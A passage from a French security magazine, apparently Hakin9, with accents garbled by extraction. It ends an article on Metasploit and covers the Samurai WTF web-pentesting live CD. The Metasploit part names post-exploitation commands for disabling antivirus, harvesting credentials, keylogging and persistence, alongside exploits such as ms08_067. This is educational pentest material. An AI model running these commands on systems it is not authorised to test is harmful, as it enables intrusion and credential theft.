tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

